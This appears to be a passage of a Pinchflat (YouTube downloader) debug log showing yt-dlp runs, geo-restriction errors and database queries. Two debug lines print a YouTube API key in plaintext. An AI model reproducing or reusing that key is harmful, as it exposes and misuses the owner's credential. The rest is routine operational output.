Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:47:51.365 [error] Error creating media item '0qmNAOCgbgY' from URL: {:error, "ERROR: [youtube] 0qmNAOCgbgY: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:47:51.366 [debug] QUERY OK source="settings" db=0.1ms idle=1104.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:51.366 [debug] QUERY OK source="settings" db=0.0ms idle=1104.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:51.366 [debug] Running yt-dlp command for action: get_media_attributes 17:47:51.367 [debug] QUERY OK source="settings" db=0.0ms idle=1105.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:51.367 [debug] QUERY OK source="settings" db=0.0ms idle=1099.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:51.367 [debug] QUERY OK source="settings" db=0.0ms idle=213.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:51.367 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/20/9b/209b2d7fb2b0ace37e2a1dac690da39504b324f5a2514042d1c3f31494ec067e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:47:52.160 [info] {"args":{"id":38},"id":3800267,"meta":{},"system_time":1770767272160735765,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:52.161 [debug] QUERY OK source="sources" db=0.1ms idle=793.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:47:52.161 [debug] QUERY OK source="settings" db=0.1ms idle=793.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:52.161 [debug] QUERY OK source="media_profiles" db=0.1ms idle=793.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:52.161 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:52.161 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:47:52.161 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:52.161 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:52.530 [debug] QUERY OK source="media_items" db=0.6ms idle=368.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 17:47:52.532 [debug] QUERY OK source="media_items" db=1.4ms idle=370.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:47:52.599 [debug] QUERY OK source="tasks" db=65.7ms idle=371.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800305, 38, ~U[2026-02-10 23:47:52Z], ~U[2026-02-10 23:47:52Z]] 17:47:52.624 [info] {"args":{"id":38},"id":3800267,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":438550,"event":"job:stop","queue_time":401677,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:52.994 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=73iQpsIE0i8 --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/20/9b/209b2d7fb2b0ace37e2a1dac690da39504b324f5a2514042d1c3f31494ec067e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:47:52.994 [error] Error creating media item '73iQpsIE0i8' from URL: {:error, "ERROR: [youtube] 73iQpsIE0i8: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:47:52.995 [debug] QUERY OK source="settings" db=0.1ms idle=461.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:52.995 [debug] QUERY OK source="settings" db=0.1ms idle=461.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:52.995 [debug] Running yt-dlp command for action: get_media_attributes 17:47:52.996 [debug] QUERY OK source="settings" db=0.1ms idle=397.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:52.997 [debug] QUERY OK source="settings" db=0.3ms idle=372.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:52.997 [debug] QUERY OK source="settings" db=0.2ms idle=366.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:52.997 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9iZK_DurYOo --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/13/e5/13e54a6611b508a21efe70f02b74cc1f9cda4aa64d1cab03d50076ee4b23949b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:47:54.162 [info] {"args":{"id":41},"id":3800268,"meta":{},"system_time":1770767274162630457,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:54.162 [debug] QUERY OK source="sources" db=0.1ms idle=1165.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:47:54.163 [debug] QUERY OK source="settings" db=0.0ms idle=1165.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:54.163 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:54.163 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:54.163 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:47:54.163 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:54.163 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:54.281 [debug] QUERY OK source="media_items" db=0.7ms idle=117.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 17:47:54.282 [debug] QUERY OK source="media_items" db=0.6ms idle=118.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND 